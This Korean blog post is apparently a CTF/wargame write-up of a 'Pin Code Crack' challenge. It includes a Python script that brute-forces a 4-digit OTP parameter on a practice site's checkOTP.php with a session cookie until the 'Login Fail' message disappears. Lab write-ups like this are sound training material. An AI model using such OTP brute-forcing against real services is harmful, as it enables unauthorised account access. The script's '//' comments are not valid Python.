Wargame/Segfault

Authentication Bypass(Pin Code Crack)

sniffy-fanta 2025. 5. 7. 16:33

서론

오늘도 인증 우회 문제를 풀어보자

점점 어려워지는 거 같다..

 


🔓Pin Code Crack

➡️번호를 알아내야 하는 거 같다.

 

➡️사이트에 접속해서 로그인 버튼을 클릭하니 OTP처럼 숫자 4자리를 입력해야 하는 거 같다.

아무숫자 4자리를 입력해보니 틀렸다는 알림창이 뜬다.

 

➡️GET요청으로 checkOTP.php로 otpNum이 파라미터로 전달된다.

번호가 틀려서 Login Fail..이라는 알림창이 뜬 것을 확인할 수 있다.

버프 스위트의 intruder 기능을 사용하려고 했지만 오래걸리므로 나는 python으로 작성하겠다.

그러면 이제 0000~9999까지 otpNum을 파라미터로 요청하고 Login Fail이라는 내용이 응답에 없다면

번호가 맞다고 가정해서 작성해보도록하자.

 

import requests

//요청을 보낼 url
url= "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
//쿠키에 세션ID 포함
cookies = {
    "PHPSESSID" : "7b7htq80jl5t8ifbn8ql6eveo0"
}

//0000~9999대입
for i in range(0000,10000):
	//i를 대입하되 0001,0002 이런식으로 형식에 맞춰 전달하기
    otp = f"{i:04}"
    params = {
        "otpNum" : otp
    }
	//get요청에 대한 응답 받기
    res = requests.get(url,params=params ,cookies=cookies)

	//응답메세지에 Login Fail이 없다면 성공
    if "Login Fail" not in res.text:
        print(f"성공 : {otp}")
        print(res.text)
        break
    else:
        print(f"실패 : {otp}")

➡️실행 해보면?

➡️숫자가 하나씩 대입되고 성공이라는 글자와 함께 성공된 숫자가 나온다.

 

➡️플래그 획득!